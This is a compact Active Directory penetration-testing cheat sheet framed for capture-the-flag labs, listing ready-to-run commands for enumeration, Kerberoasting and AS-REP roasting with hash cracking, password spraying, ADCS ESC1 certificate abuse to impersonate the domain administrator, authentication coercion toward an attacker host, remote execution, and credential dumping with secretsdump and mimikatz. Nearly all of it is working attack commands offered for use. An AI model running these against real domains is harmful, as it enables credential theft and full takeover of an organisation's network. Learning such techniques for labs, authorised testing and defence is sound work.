active-directory::ctf

pentest active directory kerberos ยท LDAP
Enumeration Attack Paths Execution & Pitfalls
01Initial AD Enumeration
Fast checks
# netexec (nxc) โ€” crackmapexec is deprecated/unmaintained
netexec smb dc -u user -p pass --shares
rpcclient -U 'user%pass' dc
smbclient -L //dc -U user
ldapsearch -x -H ldap://dc -D 'user@dom.local' -w pass -b 'DC=dom,DC=local'
Look for
TargetWhy
valid credsdomain user often enough to start
SMB sharesscripts, backups, passwords
LDAP infousers, groups, SPNs, descriptions
WinRM/RDPdirect shell path
bloodhound datagraph attack paths
02Core Attack Paths
Kerberoast / AS-REP roast
GetUserSPNs.py dom.local/user:pass -dc-ip dc -request
GetNPUsers.py dom.local/ -usersfile users.txt -dc-ip dc -no-pass
hashcat -m 13100 kerb.txt wordlist
hashcat -m 18200 asrep.txt wordlist
BloodHound / ACLs
bloodhound-python -u user -p pass -d dom.local -c All -ns dc
# then inspect:
- GenericAll / GenericWrite
- ForceChangePassword
- AddMember
- RBCD / delegation
- DCSync rights
Password reuse / spraying
netexec smb targets.txt -u users.txt -p 'Winter2024!' --continue-on-success
# keep attempts low; respect lockout in real envs
ADCS (Certipy) & coercion
# Enumerate CA + find vulnerable templates (ESC1-16)
certipy find -u user@dom.local -p pass -dc-ip dc -vulnerable -stdout
# ESC1: request cert with arbitrary SAN โ†’ auth as that user
certipy req -u user@dom.local -p pass -ca CA-NAME \
   -template VulnTmpl -upn administrator@dom.local
certipy auth -pfx administrator.pfx -dc-ip dc   # โ†’ TGT + NT hash
# Related
bloodyAD --host dc -d dom.local -u user -p pass get writable
Coercer coerce -t dc -l attacker   # PetitPotam / auth coercion
03Execution & Lateral Movement
Remote access
evil-winrm -i host -u user -p pass
psexec.py dom.local/user:pass@host
wmiexec.py dom.local/user:pass@host
smbexec.py dom.local/user:pass@host
Secrets & tickets
secretsdump.py dom.local/user:pass@dc
klist
Rubeus triage
mimikatz 'sekurlsa::logonpasswords'

# common CTF goal: get admin hash or flag from DC/share
Common misconfigs
MisconfigAbuse
description fieldspasswords or hints
SYSVOL / NETLOGONscripts with creds
delegation / RBCDmachine account abuse
WriteOwner / WriteDacltake over object
backup operators / print operatorsprivileged paths
Pitfalls
- forgetting the domain format user@domain or DOMAIN\user
- not syncing time for Kerberos
- assuming SMB only; try WinRM / LDAP / RPC too
- ignoring machine accounts and gMSA-related leads